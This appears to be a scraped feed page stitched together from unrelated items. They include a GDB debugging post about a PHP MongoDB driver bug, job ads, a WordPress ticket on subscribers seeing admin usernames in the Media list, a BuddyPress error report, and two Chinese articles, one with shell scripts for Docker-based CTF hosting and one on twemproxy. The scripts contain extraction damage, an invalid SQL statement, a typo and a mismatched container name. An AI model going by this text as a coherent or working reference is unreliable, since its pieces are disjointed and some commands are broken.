51      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.

This shows that the C driver bailed out due to a specific assertion on line 1852 of mongoc-cluster.c. This assertion reads:

BSON_ASSERT (scanner_node && !scanner_node->retired);

Which didn't really say a lot. The next thing to try is then to make a backtrace in GDB with the bt command. This revealed:

(gdb) bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007ffff41472f1 in __GI_abort () at abort.c:79
#2  0x00007ffff32cdcf1 in mongoc_cluster_fetch_stream_single (
        cluster=0x555556ba8e68, server_id=2, reconnect_ok=true, error=0x555556b95858)
        at mongo-php-driver/src/libmongoc/src/libmongoc/src/mongoc/mongoc-cluster.c:1852
#3  0x00007ffff32cd9df in _mongoc_cluster_stream_for_server (
        cluster=0x555556ba8e68, server_id=2, reconnect_ok=true, cs=0x0, reply=0x7fffffff9ee0, error=0x555556b95858)
        at mongo-php-driver/src/libmongoc/src/libmongoc/src/mongoc/mongoc-cluster.c:1762
#4  0x00007ffff32cdbe6 in mongoc_cluster_stream_for_server (
        cluster=0x555556ba8e68, server_id=2, reconnect_ok=true, cs=0x0, reply=0x7fffffff9ee0, error=0x555556b95858)
        at mongo-php-driver/src/libmongoc/src/libmongoc/src/mongoc/mongoc-cluster.c:1826
#5  0x00007ffff32ddb0a in _mongoc_cursor_fetch_stream (cursor=0x555556b95700)
        at mongo-php-driver/src/libmongoc/src/libmongoc/src/mongoc/mongoc-cursor.c:647
#6  0x00007ffff32e12a0 in _prime (cursor=0x555556b95700)
        at mongo-php-driver/src/libmongoc/src/libmongoc/src/mongoc/mongoc-cursor-find.c:40
#7  0x00007ffff32df22c in _call_transition (cursor=0x555556b95700)
        at mongo-php-driver/src/libmongoc/src/libmongoc/src/mongoc/mongoc-cursor.c:1146
#8  0x00007ffff32df54b in mongoc_cursor_next (cursor=0x555556b95700, bson=0x7fffffffa038)
        at mongo-php-driver/src/libmongoc/src/libmongoc/src/mongoc/mongoc-cursor.c:1214
#9  0x00007ffff332511c in phongo_cursor_advance_and_check_for_error (cursor=0x555556b95700)
        at mongo-php-driver/php_phongo.c:742
#10 0x00007ffff33253d9 in phongo_execute_query (
        client=0x555556ba8e60, namespace=0x7fffeaeb5d58 "test.test", zquery=0x7ffff38201c0, options=0x0,
        server_id=1, return_value=0x7ffff38200f0, return_value_used=1)
        at mongo-php-driver/php_phongo.c:810
#11 0x00007ffff3342cc3 in zim_Manager_executeQuery (execute_data=0x7ffff3820160, return_value=0x7ffff38200f0)
        at mongo-php-driver/src/MongoDB/Manager.c:492
#12 0x0000555555e41d16 in execute_internal (execute_data=0x7ffff3820160, return_value=0x7ffff38200f0)
        at /home/derick/dev/php/php-src.git/Zend/zend_execute.c:2328
…

At first glance, I couldn't really see anything wrong with this backtrace, and was still puzzled as to why it would abort. I decided to go for a lunch time walk and have a look at it again. I always find that walks are good for clearing my mind.

After the walk, and a cuppa tea, I looked at the backtrace again, and noticed the following curiosity:

#4  0x00007ffff32cdbe6 in mongoc_cluster_stream_for_server (
        cluster=0x555556ba8e68, server_id=2, reconnect_ok=true, cs=0x0, reply=0x7fffffff9ee0, error=0x555556b95858)
        at mongo-php-driver/src/libmongoc/src/libmongoc/src/mongoc/mongoc-cluster.c:1826

vs:

#10 0x00007ffff33253d9 in phongo_execute_query (
        client=0x555556ba8e60, namespace=0x7fffeaeb5d58 "test.test", zquery=0x7ffff38201c0, options=0x0,
        server_id=1, return_value=0x7ffff38200f0, return_value_used=1)
        at mongo-php-driver/php_phongo.c:810

In frame #10 the server_id variable is 1, whereas in frame #4 later on, the server_id variable is 2. These should have been the same.

The server ID is determined by the C driver when selecting a server to send a read or write operation to, and refers to a specific server's connection ID. The PHP driver uses this server ID when executing the query through the phongo_execute_query function, which calls the C driver's mongoc_collection_find_with_opts. The latter accepts as its 3rd argument a bson_t value with options to use while executing a query. These options include the pre-selected server ID, so that the C driver does not attempt to reselect a server:

cursor = mongoc_collection_find_with_opts(collection, query->filter, query->opts,
        phongo_read_preference_from_zval(zreadPreference TSRMLS_CC));

I decided to investigate which options the PHP driver was sending to mongoc_collection_find_with_opts. A while ago I developed a GDB helper function, about which I wrote in pretty-printing BSON. I sourced this helper within my GDB instance, and switched to frame #10 to inspect the value of the query options:

(gdb) source ~/dev/php/mongodb-mongo-php-driver/src/libmongoc/.gdbinit
(gdb) frame 10

The function call uses the options from the query struct query->opts, so I used the printbson helper function to display its contents:

(gdb) printbson query->opts

Which showed:

$11 = "!\000\000\000\020serverId\000\002\000\000\000\020serverId\000\001", '\000' 
INLINE (len=33)
{
        'serverId' : NumberInt("2"),
        'serverId' : NumberInt("1")
}

There are not supposed to be two conflicting serverId elements. Unlike PHP's arrays, bson_t values can have the same key appear multiple times. Although the C driver had selected server ID 1 for this query, server 2 was used because it was the first serverId element in the options struct. But why were there two values in the first place?

If you look at the PHP test, you see the following:

executeQuery('test.test', $query));
                …
        } catch(Exception $e) {
                …
        }
}
?>

From this follows that we create the Query object, assign it to $query, and then use the same variable for each iteration. Somehow, we were not resetting the query options back to default before we used them, resulting in a duplicate serverId field. Once we figured out the problem, creating the fix was easy enough: Make sure we use a clean query->opts struct before we pass it to the mongoc_collection_find_with_opts function.

Debugging this issue was made a lot easier by having the right debugging tools, and this case shows that spending time on writing the GDB helper function printbson earlier in the year paid off. With this bug fixed, we could release a new patch version of the MongoDB Driver for PHP.

Happy hacking!


          core php developer      Cache   Translate Page      
core php developer needed full time (Budget: $750 - $1500 USD, Jobs: HTML, Javascript, MySQL, PHP, Website Design)
          core php developer      Cache   Translate Page      
core php developer needed full time (Budget: $750 - $1500 USD, Jobs: HTML, Javascript, MySQL, PHP, Website Design)
          SENIOR PHP TEAM LEAD/DEVELOPER - InControl Recruitment - Umhlanga, KwaZulu-Natal      Cache   Translate Page      
Permanent Temporary Fixed Term Temp with possibility of going permanent Student job Internship Freelance Franchise Apprenticeship Synopsis:....
From JobVine.co.za - Mon, 17 Sep 2018 14:28:48 GMT - View all Umhlanga, KwaZulu-Natal jobs
          Accounting Manager - i21 recruitment - Pará      Cache   Translate Page      
Send in your CV to Cariza Punsalan (cariza.punsalan@i21recruitment.com). Up to Php 65,000....
De i21 recruitment - Thu, 30 Aug 2018 08:41:30 GMT - Visualizar todas as empregos: Pará
          Corporate Legal Manager - i21 recruitment - Pará      Cache   Translate Page      
Corporate Legal Manager Salary: Up to Php 55,000 dependant on experience An established manufacturing giant is looking for a Corporate Legal Manager to...
De i21 recruitment - Fri, 24 Aug 2018 08:43:00 GMT - Visualizar todas as empregos: Pará
          #45070: Entire Media Library & permissions available to subscribers by accessing wp-admin as a subscbriber only.      Cache   Translate Page      

I was trying to hide the admin toolbar as I don't want users accessing the backend/Dashboard for any reason. I updated the wp-includes/admin-bar.php file to hide the toolbar. however, immediately i typed <domainname>/wp-admin while logged in as a subscriber to test, and was able to access wp-admin, which is strange because if I log in as a contributor using wp-login.php, I immediately receive "not authorized" after login.

in this case, all options were not available except for "Media" option. even "New" is in Menu bar with option to create new media file. this is wrong because if a user is replying to a post, users cannot upload media to post content, but only create link to media.

the Media list is blank (user has no media files as new user) when viewed in pane view. but user can add new media, including videos, which I didn't think would be allowed for security reasons. but in Media "List" view ALLLLLLLL media files created by admin are shown, including files not attached to any posts but unattached and the admins' names are shown, including private admin names.

this is an issue for me because of brute force login attempts. I expected that if a user is just a subscriber only "edit profile" would be available.

persons run script to get usernames, but all a person has to do is register a new account, open wp-admin and select Media and usernames will be available in list.


          PHP Developer      Cache   Translate Page      
Careerkey Solutions - Ahmedabad, Gujarat - Designation Offered: PHP Developer Experience Required: 1+ Years Skills Required: Good Communication (Both Written & Verbal) Good Knowledge... about HTML, CSS, JavaScript, JQuery, Git, FTP Must have good hold on Core PHP, Codeigniter, Laravel etc Candidate having working experience on JS...
          PHP Developer      Cache   Translate Page      
Noida, Uttar Pradesh - Candidates should be MCA/BE C S. 3-5 yrs exp of PHP web frameworks { Laravel, CodeIgniter}.SYMPHONY yii. Jquery, MVC, databse structure... , linux,plateforms.code debugging, node.js, angular j s,/ react js. good communication skills.Candidates should be MCA/BE C S. 2-3 yrs exp in PHP...
          PHP Developer      Cache   Translate Page      
Com.1 Communication Technologies PVT LTD. - Nagpur, Maharashtra - Strong Exp in PHP, Jquery, Javascript, JSON. Exp. with MVC framework, hands on exp.on Angulars , Couch db or Mangodb, design & architecture...
          Senior PHP Developer      Cache   Translate Page      
HGTechSolutions - Mohali, Punjab - Chandigarh - SKILL REQUIREMENTS: At least 2+ years experience developing highly interactive, Internet applications Expertise in web services using PHP...
          PHP or Node.js Development      Cache   Translate Page      
Web1Experts - Mohali, Punjab - Chandigarh - Looking for experience PHP or Node.js developer having at least 1+ year of experience, expert in API's development, MongoDB & MySQL.... Experience with PHP 2 to 5 years Experience with Node.js 1 to 4 years Responsibilities and Duties API development with Node.js, MongoDB/MySQL...
          PHP Developer      Cache   Translate Page      
Akshansh Technologies - Noida, Uttar Pradesh - , E-commerce, IOS application. Experience: 2 Years - 4 Years Hands on experience in designing and developing applications using PHP Object Oriented...
          PHP Developer      Cache   Translate Page      
Property Megamart realty pvt ltd. - Mumbai, Maharashtra - Minimum Experience of 6 Months - 1 years Positions 1 Required Skills Knowledge of PHP 5 ( Object Oriented Programming) & MYSQL...
          Needexperienced PHP developers      Cache   Translate Page      
Technokrats. - Kolkata, West Bengal - Job Description Position: SR. PHP DEVELOPER Job Type:Full Time, Permanent. Experience:Min 1 yrs Skill:Sound in algorithm Core or Custom... Development in either of PHP, MySQL, JavaScript, AJAX And/or Knowing different other technologies like OPPs, MVC, CI, Zend, Yii And/or Sound in CMF...
          PHP Developer      Cache   Translate Page      
Arbutus Infotech - Indore, Madhya Pradesh - Job Description: - Candidates should have good Knowledge of Laravel, CodeIgniter, Drupal, PHP, Magento, Shopify, Angular js, Wordpress...
          Required PHP Developers and web designer      Cache   Translate Page      
Freelancer Manmohan Malik - Indore, Madhya Pradesh - Vacancy for PHP Developers and Webdesigner Fresher and experience (2 to 8 years) Key Skills:Html,C++,Java,Sql Strong technical...
          Jr. php Developer      Cache   Translate Page      
Maxgen Technologies Pvt .Ltd - Pune, Maharashtra - . Fresher Candidates can welcome in our our company for Php web development.now we urgently hiring php Developer so if you are interested... then directly come for the interview Job Summary Position : Jr. php Developer Required Skills : - Corephp,cakephp,mvc,wordpress. Walk-in Time : - Monday...
          PHP Developer      Cache   Translate Page      
neorems services private limited - Bangalore, Karnataka - Job Description Send me Jobs like this PHP developer with Laravel framework,good Knowledge in HTML, CSS, Javascript, etc. Knowledge of bug...
          Sr. PHP Developer      Cache   Translate Page      
Sdaemon Infotech PVT LTD - Pune, Maharashtra - Web Developer and designer should complete the following requirements Strong knowledge of PHP, HTML5, Bootstrap 4 & CSS Should be able...
          PHP Developer      Cache   Translate Page      
Yo Hr Consultancy Pvt. Ltd. - Indore, Madhya Pradesh - Should have an experience of between 1-2 years in PHP with strong hand in Core PHP,Wordpress & Codeigniter Experience in common third...-party APIs (Google, Facebook, etc)Passion for best design and coding Must have knowledge in any PHP Framework preferably Codeigniter Knowledge...
          PHP Developer      Cache   Translate Page      
W3care Technologies - Jaipur, Rajasthan - Core PHP ,JQuery, JavaScript, HTML5, CSS3 MVC Framework experience (Cake PHP, CodeIgniter, YII) -Hands of experience with one of the open...
          Tech Lead PHP      Cache   Translate Page      
Erginous - Chandigarh - Exp : 5 years of PHP coding experience Qualification : BCA/ MCA, B.E / B.Tech Strong Knowledge of core php & OOPS based PHP skills...
          PHP and Wordpress Developer      Cache   Translate Page      
APPTech Mobile Solution - Indore, Madhya Pradesh - and extending WordPress plugins. Must have experience of PHP/MySQL development. Must have very good experience in HTML 5, CSS, jQuery& AJAX... knowledge of IT skills. Must be proficient in PHP, MySQL, CSS, HTML, Cake php, custom php. CMS : WordPress Responsibilities and Duties Website...
          Php Web Developer      Cache   Translate Page      
RAFA International - Delhi - Php Web Developer. Strong knowledge of Core PHP and web architecture 128; Understanding of PHP design patterns 128; Basic understanding... of front-end technologies, such as JavaScript, HTML5, and CSS3 128; Knowledge of object oriented PHP programming 128; Understanding accessibility...
          PHP Developer      Cache   Translate Page      
GB Mainframe LLP - Kerala - Desired Experience: JavaScript, MySQL, REST, AJAX, PHP, HTML5 Responsibilities and Duties * 1 - 2 years of strong hands-on experience... on live projects with Core PHP, MySQl, JQuery & AJAX. * Should have fair knowledge in database structure and designing. * Should have fair...
          PHP / LARAVEL DEVELOPER      Cache   Translate Page      
SEEHASH Software Solutions - Chennai, Tamil Nadu - looking for a mid/senior level PHP developer with strong experience in Laravel to oversee the development and maintenance of new backend..., etc. and be able to take complex technical terms and break them down into laymans terms A strong knowledge of PHP and OOP outside of Laravel...
          Bp-Groups and Bp 641.. something doesn’t work      Cache   Translate Page      

Replies: 0

I’ve WordPress MU 2.7 (installed trough svn) and Buddypress SVN revision 641 and Prologue theme for wordpress 2.7.

Why in every page does it appear?

A

Warning: session_start() [function.session-start]: Cannot send session cookie – headers already sent by (output started at /home/admin/domains/mikiti.net/public_html/wp-content/mu-plugins/bp-groups/bp-groups-ajax.php:1) in /home/admin/domains/mikiti.net/public_html/wp-content/mu-plugins/bp-core.php on line 153

Warning: session_start() [function.session-start]: Cannot send session cache limiter – headers already sent (output started at /home/admin/domains/mikiti.net/public_html/wp-content/mu-plugins/bp-groups/bp-groups-ajax.php:1) in /home/admin/domains/mikiti.net/public_html/wp-content/mu-plugins/bp-core.php on line 153


          使用 Docker 构建安全的虚拟空间      Cache   Translate Page      

*本文作者:Li4n06,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

最近上的某水课的作业是出 ctf web题目,然而大多数同学连 php 都没学过,(滑稽)更别说配置服务器了,于是我想能不能趁机赚一波外快 造福一下同学,(其实就是想折腾了)。所以打算把我自己的 vps 分成虚拟空间给大家用。但是一般的虚拟空间安全性难以得到保证,一个空间出问题,其他的用户可能都跟着遭殃,也就是旁站攻击。更何况我们这个虚拟空间的用处是 ctf web 题目,总不能让人做出一道题目就能顺手拿到所有题目的 flag 吧。于是想到了使用 docker 来构建安全的虚拟空间,其间遇到了不少问题,下面就是折腾的过程了。

image

实现思路

大体的思路是,在我的 vps 上为每个用户创建一个文件目录,然后将目录挂载到 docker 容器的默认网站目录,也就是/var/www/html,,用户可以通过 FTP 将网站源码上传到自己的文件目录,文件也会同步到容器内。这样就实现了各个空间的环境隔离,避免旁站攻击。

而数据库则可以单独构建一个 mysql 容器,为每个用户分配一个 user&database,让用户和空间容器来远程连接。

前期准备

选择镜像:

空间使用的镜像为:mattrayner/lamp:latest-1604(ubuntu 16.04 + apachd2 + mysql,其实只要有mysql-client 就可以了)

数据库所使用的镜像为:mysql:5(mysql 官方镜像)

配置FTP:

和配置常规的 FTP 没什么区别,这里特别强调3点:

一定要开启 ch_root,防止不同用户之间可以互相查看文件;

如果使用被动模式,那么 云主机的安全组 或者iptables 不要忘了放行端口;

将 umask 设置为 022 (保证用户上传的文件默认权限为755。

选择一个位置存放用户文件夹:

我这里新建一个 ~/rooms/ 来存放用户的文件夹。

配置数据库

1. 网络:

要让虚拟空间的容器能够远程连接数据库,首先要使容器之间在一个网段,那么我们就需要设置一个桥接模式的 docker network,我这里使用 172.22.0.0/16 这个网段。

$ docker network create --driver = bridge --subnet = 172 .22.0.0/16 room_net

2.创建 MySQL 容器:

我们的数据库需要满足:

允许用户远程连接;

允许空间容器连接。

第一点要求,我们通过将数据库容器的 3306 端口映射到 VPS 的开放端口即可,我这里映射到 3307。

第二点要求,只要通过我们刚刚设置的 docker network 即可实现。

所以启动创建容器的命令是的命令是:

$ docker run -d --name room-mysql --network room_net --ip 172 .22.0.1 -p 3307 :3306 -e MYSQL_ROOT_PASSWORD = your_password mysql:5

值得注意的一点是,root 用户是不需要远程登录的,出于安全考虑,我们应该 禁止其通过localhost意外的host登录

执行:

$ docker exec -it room-mysql /bin/bash -c "mysql -u root -p -e\"use mysql;update user set host='localhost' where user='root';drop user where user='root' and host='%';flush privileges;\""

创建空间过程

做好前期的准备工作,我们就可以开始构建空间了,出于方便我们将整个过程编写成 shell 脚本,这样以后要新建空间的时候,只需要运行一下就可以了。

我们创建空间需要以下几个步骤:

1. 创建新的 FTP 用户

这个用户应该满足这样的要求:

可以上传文件到虚拟空间用户文件夹 (废话);

不能访问除虚拟空间用户文件夹之外的位置 (在配置 FTP 时通过ch_root 实现);

创建的时候设置一个随机密码;

不能通过 ssh 登陆 (其实这也是用户能通过 ftp 连接 的必须条件。如果不限制的话,ftp登录时会出现 530 错误。

那么对应的 shell 脚本就是:

#/home/ubuntu/rooms/ 即你的vps上用来存放用户文件夹的位置  # $1 参数为要设置的用户名,也是虚拟空间容器&数据库用户&数据库&用户文件夹的名字useradd -g ftp -d /home/ubuntu/rooms/$1 -m $1 pass=`cat /dev/urandom | head -n 10 | md5sum | head -c 10`  #生成随即密码echo $1:$pass | chpasswd                                    #为用户设置密码#限制用户通过 ssh 登录(如/etc/shells 里没有/usr/sbin/nologin 需要自己加进去usermod -s /usr/sbin/nologin $1             echo "create ftp user:$1 indentified by $pass"              #输出用户名和密码

2. 新建数据库用户&数据库,并为用户赋权

这部分操作比较简单,我们就只需要为用户新建一个 MySQL 账户和一个专属数据库就好了。

shell 脚本:

# 让用户输入 mysql 容器的 root 密码read -sp "请输入 MySQL 容器的 root 账户密码:" mysql_pass# 创建数据库docker exec -it mysql-docker /bin/bash -c "mysql -u root -p$mysql_pass -e \"create database $1;\""# 生成密码pass=`cat /dev/urandom | head -n 10 | md5sum | head -c 10`# 创建 MySQL 用户docker exec -it mysql-docker /bin/bash -c "mysql -u root -p$mysql_pass -e \"CREATE USER '$1'@'%' IDENTIFIED BY '$pass';\""# 为用户赋予权限docker exec -it mysql-docker /bin/bash -c "mysql -u root -p$mysql_pass -e \"grant all privileges on $1.* to '$1'@'%';flush privileges;\""# 输出账户信息echo "create database user:$1@'%' indentified by $pass"

3. 新建空间

到现在我们已经可以创建空间容器了,想一想这个空间要满足什么基本要求呢?

能够外网访问;

能够连接数据库;

挂载用户文件夹内的文件到网站根目录。

那么命令就是:

$ docker run -d --name $1 --network room_net -p $2 :80 -v /home/ubuntu/rooms/$1 /www:/var/www/html mattrayner/lamp:latest-1604

但是作为一个用做虚拟空间的容器,我们还需要考虑 内存 的问题,如果不加限制,docker默认使用的最大内存就是 VPS 本身的内存,很容易被人恶意耗尽主机资源。

所以我们还要限制一下容器的最大使用内存。

关于 docker 容器内存使用的有趣的现象:

在最初,我把容器的内存限制到了 128m,然后访问网站发现 apache 服务没有正常启动,于是我把内存限制上调到了 256m,然后执行 docker stats 发现容器内存使用率接近100%;

有趣的是,当我尝试限制内存为 128m ,然后手动开启 apache 服务时,发现服务完全可以被正常启动,查看内存占用率,发现只占用了 30m 左右的内存。

为什么会出现这种情况呢?我大概猜想是因为容器内还有一些其他服务,当限制内存小于 256m 的时候,这些服务无法被同时启用,但是我们可以只启用 apache 啊!

于是命令变成了下面这样:

docker run -d --name $1 --cpus 0 .25 -m 64m --network room_net -p $2 :80 -v /home/ubuntu/rooms/$1 /www:/var/www/html mattrayner/lamp:latest-1604 docker exec -it $1 /bin/bash -c "service apach2 start;"

最后一步,修改挂载文件夹的所有者:

到这时,理论上我们的空间已经可以正常使用了,可是我用 FTP 连接上去发现,并没有权限上传文件。

经过漫长的 debug 后发现,在容器启动一段时间后,我们挂载到容器内部的文件夹的所有者发生了改变,于是我查看了容器内部的 run.sh 脚本,发现了这样的内容:

if [ -n "$VAGRANT_OSX_MODE" ];then    usermod -u $DOCKER_USER_ID www-data    groupmod -g $(($DOCKER_USER_GID + 10000)) $(getent group $DOCKER_USER_GID | cut -d: -f1)    groupmod -g ${DOCKER_USER_GID} staff    chmod -R 770 /var/lib/mysql    chmod -R 770 /var/run/mysqld    chown -R www-data:staff /var/lib/mysql    chown -R www-data:staff /var/run/mysqldelse    # Tweaks to give Apache/PHP write permissions to the app    chown -R www-data:staff /var/www    chown -R www-data:staff /app    chown -R www-data:staff /var/lib/mysql    chown -R www-data:staff /var/run/mysqld    chmod -R 770 /var/lib/mysql    chmod -R 770 /var/run/mysqldfi

可以看到,当没有设置 $VAGRANT_OSX_MODE 这个环境变量时,容器会修改 /app(/var/www/html 的软链接)文件夹的所有者为 www-data ,那么我们就需要在启动容器时,设置这个环境变量值为真。

而 /app 文件夹 的默认所有者是 root 用户,我们将本地文件夹挂载到容器内的/app,后,本地文件夹的所有者也会变为 root 。所以我们还需要修改本地文件夹的所有者。

于是创建容器的 shell 脚本又变成了:

# 启动容器docker run -d --name $1 --cpus 0.25 -m 64m --network room_net -p $2:80 -eVAGRANT_OSX_MODE=1 -v /home/ubuntu/rooms/$1/www:/var/www/html mattrayner/lamp:latest-1604# 启动apache2docker exec -it $1 /bin/bash -c "service apache2 start;"# 修改挂载文件夹的所有者chown $1:ftp -R /home/ubuntu/rooms/$1/www

最后的脚本:

到现在创建空间的过程就结束了,那么贴上最后的脚本

创建空间脚本:

#!/bin/bash# The shell to create new room# Last modified by Li4n0 on 2018.9.25# Usage: #   option 1: database/dbuser/room/ftpuser/ name#   option 2: port# create new ftp useruseradd -g ftp -d /home/ubuntu/rooms/$1 -m $1pass=`cat /dev/urandom | head -n 10 | md5sum | head -c 10`echo $1:$pass | chpasswdusermod -s /usr/sbin/nologin $1echo "create ftp user:$1 indentified by $pass"# create new databaseread -sp "请输入 MySQL 容器的 root 账户密码:" mysql_passdocker exec -it mysql-docker /bin/bash -c "mysql -u root -p$mysql_pass -e \"create database $1;\""pass=`cat /dev/urandom | head -n 10 | md5sum | head -c 10`docker exec -it mysql-docker /bin/bash -c "mysql -u root -p$mysql_pass -e \"CREATE USER '$1'@'%' IDENTIFIED BY '$pass';\""docker exec -it mysql-docker /bin/bash -c "mysql -u root -p$mysql_pass -e \"grant all privileges on $1.* to '$1'@'%';flush privileges;\""echo "create database user:$1@'%' indentified by $pass"#create new roomdocker run -d --name $1 --cpus 0.25 -m 64m --network room_net -p $2:80 -eVAGRANT_OSX_MODE=1 -v /home/ubuntu/rooms/$1/www:/var/www/html mattrayner/lamp:latest-1604docker exec -it $1 /bin/bash -c "service apache2 start;"chown $1:ftp -R /home/ubuntu/rooms/$1/www

删除空间脚本:

#!/bin/bashread -sp "请输入 MySQL 容器的 root 账户密码:" mysql_pass#drop the databasedocker exec -it mysql-docker /bin/bash -c "mysql -u root -p$mysql_pass -e \"drop database $1\""#delete dbuserdocker exec -it mysql-docker /bin/bash -c "mysql -u root -p$mysql_pass -e \"use mysql;drop user '$1'@'%';flush privileges;\""#delete the containerdocker stop $1docker rm $1#delete ftp useruserdel $1rm -rf /home/ubuntu/rooms/$1

用法:

# 创建sudo create_room.sh room1 10080  # 用户名 映射到 VPS 的端口# 删除sudo del_room.sh room1

总结

到这里我们就实现通过 docker 搭建较安全的虚拟空间了,当然,如果真的想上线运营,还有很多需要完善的地方,比如 空间大小的限制、用户文件和数据库的定时备份等等,有兴趣的朋友可以去自己完善。

那么到这里我的折腾就结束了,现在去卖空间给同学发福利了!

*本文作者:Li4n06,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

image


          Memcache/Redis 集群管理探索与实现:美图开源 PaaS 平台资源网关      Cache   Translate Page      

导读:本文作者深入了解高可用架构发布的360的pika解读后,发觉美图团队此前开源的twemproxy组件有更多先进的优势,特国庆节总结了相关技术的解读,全面介绍相关的系统服务体系及众多强大的功能。作为互联网的从业人士,有兴趣了解Redis及 Memcached的高阶使用的,可以详细阅读本文。

林添毅,美图技术经理, 主要负责 NoSQL/消息队列/中间件和区块链基础服务相关研发。对分布式缓存和高可用架构设计方面有较为深入地研究,带领团队完成了美图缓存以及消息队列服务化。在加入美图之前,曾就职于新浪微博架构平台从事基础服务的研发。

摘要

美图在 2017 年下半年开始计划做 Redis/Memcached 资源 PaaS 平台,而 PaaS 化之后面临一个问题是如何实现资源缩容/扩容对业务无感,为了解决这个问题,美图技术团队于 17 年 11 月引入 twemproxy 作为资源网关。

但是长期的实践中,其开源版本不能完全适应美图的实际情况,其主要存在单线程模型无法利用多核,性能不佳;配置无法在线 Reload ;Redis 不支持主从模式;无延时指标等问题,所以美图技术团队对其进行了相应的改造。我们基于之上实现了多进程以及配置在线更新的功能,同时增加了一些延时的相关监控指标。

本文将为大家详细讲解 twemproxy 实现以及相应地改造,希望能给其他的技术团队提供一些可以借鉴的经验。

为什么要选择 twemproxy

twemproxy 是一款由 twitter 开源的 Redis/Memcached 代理,主要目标是减少后端资源的连接数以及为缓存横向扩展能力。 twemproxy 支持多种 hash 分片算法,同时具备失败节点自动剔除的功能。除此之外,其他比较成熟的开源解决方案还有 codis,codis 具备在线的 auto-scale 以及友好的后台管理,但整体的功能更接近于 Redis Cluster,而不是代理。美图这边需要的是一个 Redis 和 Memcached 协议类 PaaS 服务的代理(网关),所以我们最终选择了 twemproxy。

twemproxy 实现

twemproxy 主要的功能是解析用户请求后转发到后端的缓存资源,成功后在把响应转发回客户端。

代码实现的核心是三种连接对象:

  1. proxy connection, 用来监听用户建立连接的请求,建立连接成功后会对应产生一个客户端连接;

  2. client connection,由建连成功后产生,用户读写数据都是通过 client;connection 解析请求后,根据 key 和哈希规则选择一个 server 进行转发;

  3. server connection,转发用户请求到缓存资源并接收和解析响应数据转回 client connection,client connection 将响应返回到用户。

三种连接的数据流向如下图:

image

(上图的 client connection 之所以没有 imsgq 是因为请求解析完可以直接进入 server 的 imsgq)

  1. 用户通过 proxy connection 建立连接,产生一个 client connection;

  2. client connection 开始读取用户的请求数据,并将完整的请求根据 key 和设置的哈希规则选择 server, 然后将这个请求存放到 server 的 imsgq;

  3. 接着 server connection 发送 imsgq 请求到远程资源,发送完成之后(写 tcp buffer) 就会将 msg 从 imsgq 迁移到 omsgq,响应回来之后从 omsgq 队列里面找到这个对应的 msg 以及 client connection;

  4. 最后将响应内容放到 client connection 的 omsgq,由 client connection 将数据发送回客户端。

上面提到的用户请求和资源响应的数据都是在解析之后放到内存的 buf 里面,在 client 和 server 两种连接的内部流转也只是指针的拷贝(官网 README 里面提到的 Zero Copy)。这也是 twemproxy 单线程模型在小包场景能够达到 10w qps 的原因之一,几乎不拷贝内存。

但对于我们来说,当前开源版本存在几个问题:

  1. 单线程模型无法利用多核,性能不够好,极端情况下代理和资源需要 1:1 部署;

  2. 配置无法在线 Reload,twitter 内部版本应该是支持的,单元测试里面有针对 reload 的 case,PaaS 场景需要不断更新配置;

  3. Redis 不支持主从模式(Redis 在作为缓存的场景下确实没必要使用主从),但部分场景需要;

  4. 数据指标过少,延时指标完全没有。

多进程版本

针对以上的几个问题,美图的开源版本都做了一些修改,最核心的功能是多进程和配置在线 reload。改造后整体进程模型类似 Nginx, 简单示意图如下:

image

master 的功能就是管理 worker 进程,不接收和处理用户请求。如果 worker 进程异常退出,那么 master 则会自动拉起新的进程来替代挂掉的老进程。除此之外,master 还会接收来自用户的几种信号:

  • SIGHUP, 重新加载新配置

  • SIGTTIN,提高日志级别, 级别越高日志越详细

  • SIGTTOU,降低日志级别,级别越低日志越少

  • SIGUSR1,重新打开日志文件

  • SIGTERM,优雅退出,等到一段时间后退出

  • SIGINT,强制退出

同时还增加了几个全局配置:

image

除了worker_shutdown_timeout其他几个配置应该比较好理解。worker_shutdown_timeout是配置老 worker 在收到退出信号后多长时间退出。这个配置是跟多进程实现相关的参数,我们是通过启动新进程替代老进程的方式来实现配置以及进程数目的在线修改,所以这个配置就是用来指定老进程的保留时间。

reuse port

在 reuse port 之前,多线程/进程服务监听建连请求一般有两种方式:

  1. 由一个线程负责接收所有的新连接,其他线程服务只负责建立连接之后的处理。这种方式的问题是在短连接场景下,这个 accept 线程很容易成为瓶颈(单核我们这边测试一般是在 4w+/s 左右);

  2. 所有的线程/进程都同时 accept 同一个监听的文件句柄。 这种方式的问题是在高负载的场景下,不同线程/进程的唤醒会不均匀,另外会有惊群的效果(accept/epoll 在新版本内核中也有解决惊群问题)。

reuse port 的主要作用就是允许多个 socket 同时监听同一个端口,同时不会存在建立连接不均匀的问题。 使用 reuse port 也相当简单,只需要把监听通过一个端口的 socket 都设置上 reuse port 标识即可。

image

虽然 reuse port 是在 linux 3.9 才被合并进来,但有 backport 到更早之前的版本(至少我们在使用的 2.6.32 是有的),很多博客在这点上有些误导。另外,在 reload 时候也不能简单将老的监听关闭,会导致 tcp backlog 里面这些三次握手成功但未 accept 的连接丢失,业务在这些连接上发送数据则会收到 rst 包。

我们解决这个问题的方式是让监听连接都在 master 进程上面创建和维护,worker 进程只是在 fork 之后直接继承监听的连接,所以在 reload 的时候 master 就可以将老 worker 里面的监听连接迁移到新的 worker, 来保证 tcp backlog 里面的数据不会丢失。

具体代码见: nc_process.c#L172, 这种方式能够在进程数不变或者增多的场景下保证 backlog 里面的数据不会丢,进程数缩减时还是会丢失一些。

Redis 主从模式

在原生的 twemproxy 里面是不支持 Redis 主从模式的,这个应该主要是因为 twemproxy 把 Redis/Memcached 当做是缓存而不是存储,所以这种主从结构实际上是没有必要的,运维也比较简单。但是对于我们内部业务来说,有些并不是全部都是作为缓存,所以就需要这种主从结构。配置也比较简单:

image

如果检测到 server 的名字为master则认为该实例为主,一个池子里面只允许一个主,否则认为配置不合法。

统计指标

个人觉得 twemproxy 存在的另外一个问题是延时指标完全缺失,这个对于排查问题以及监控报警是比较不利的。针对这个问题,我们增加了两种延时指标:

  1. request latency, 指的是客户端请求到返回的延时, 包含 twemproxy 内部以及 server 的耗时,这个指标更加接近业务的耗时;

  2. server latency, 指的是 twemproxy 请求 server 的耗时,这个可以理解为 Redis/Memcached server 的耗时。

